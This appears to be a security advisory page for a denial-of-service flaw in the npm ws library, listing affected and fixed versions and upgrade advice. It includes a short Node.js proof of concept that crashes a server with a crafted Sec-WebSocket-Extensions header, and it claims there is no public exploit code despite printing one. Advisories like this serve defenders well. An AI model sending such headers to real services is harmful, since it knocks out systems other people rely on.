GHSA-5v72-xg48-5rpm Denial of Service in ws
A remote attacker can crash the application by sending a specially crafted WebSocket extension header, requiring an upgrade to the ws library.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-5v72-xg48-5rpm?
GHSA-5v72-xg48-5rpm is a denial of service vulnerability in ws, published on 4 Jun 2019. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Recommendation
Update to version 3.3.1 or later.
Which versions are affected by GHSA-5v72-xg48-5rpm?
4 open source packages ship an affected version, including ws.
| Package | Affected | Fixed in |
|---|---|---|
ws npm | From 0.6.0 | 1.1.5 |
ws npm | From 0.6.0 | 1.1.5 |
ws npm | From 2.0.0 | 3.3.1 |
ws npm | From 2.0.0 | 3.3.1 |
How do I fix GHSA-5v72-xg48-5rpm?
Upgrade ws to a fixed version for your release line: 1.1.5 or 3.3.1.
Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.
Is GHSA-5v72-xg48-5rpm being exploited?
There is no known exploitation of GHSA-5v72-xg48-5rpm in the wild and no public exploit code.